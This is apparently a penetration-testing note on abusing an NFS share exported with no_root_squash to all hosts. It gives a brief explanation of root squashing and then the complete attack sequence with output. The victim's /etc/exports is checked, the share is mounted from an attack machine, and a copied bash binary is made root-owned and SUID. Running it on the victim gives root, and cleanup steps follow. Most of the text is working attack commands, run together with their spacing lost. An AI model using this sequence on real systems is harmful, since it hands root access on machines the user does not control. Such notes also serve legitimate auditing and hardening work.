By default, NFS shares change requests from the root user into the non-privileged user nfsnobody, the root privileges are "squashed". With no_root_squash configured requests are not "squashed", meaning any client that mount this directory can read, write and modify files within the directory as root on the host machine.
This is the remote version of this privilege escalation, meaning there is no explicit host configured in /etc/exports, all (*) hosts are allowed to mount the nfs share.
## Confirm that 'no_root_squash' is configured[lowPrivUser@victimHost nfs]$ cat /etc/exports/share/nfs*(rw,insecure,sync,no_subtree_check,no_root_squash)## Low privileged account isn't able to read nfs directory[lowPrivUser@victimHost share]$ ls -aldrwxr-xr-x7rootroot75Jun2308:56.dr-xr-xr-x.20rootroot278Aug252022..drwxr-x---2admUseradmUser189Feb192021nfs## Mount share from local attack machine➜/tmpmkdirpe➜/tmpmount-tnfsvictimHost:/share/nfs/tmp/pe➜/tmpcdpe➜pels-altotal5684drwxr-x---2voidvoid189Feb192021.drwxrwxrwt21rootroot69632Jul312:49..-rw-r--r--1voidvoid823Feb192021secret.conf## Change privileges of mounted share so lowPrivUser can copy /bin/bash to share➜/tmpchmod777pe[lowPrivUser@victimHost share]$ cd nfs[lowPrivUser@victimHost nfs]$ cp /bin/bash .## Change owner and set SUID bit on binary. Execute on victimHost to priesc➜pechmod+sbash➜pechownroot:rootbash[lowPrivUser@victimHost nfs]$ ./bash -pbash-4.4#iduid=1651499380(lowPrivUser) gid=1102800513(domainusers) euid=0(root) egid=0(root) groups=0(root)## Cleaning➜permbash➜pecd..➜/tmpchmod750pe💀➜/tmpumountpe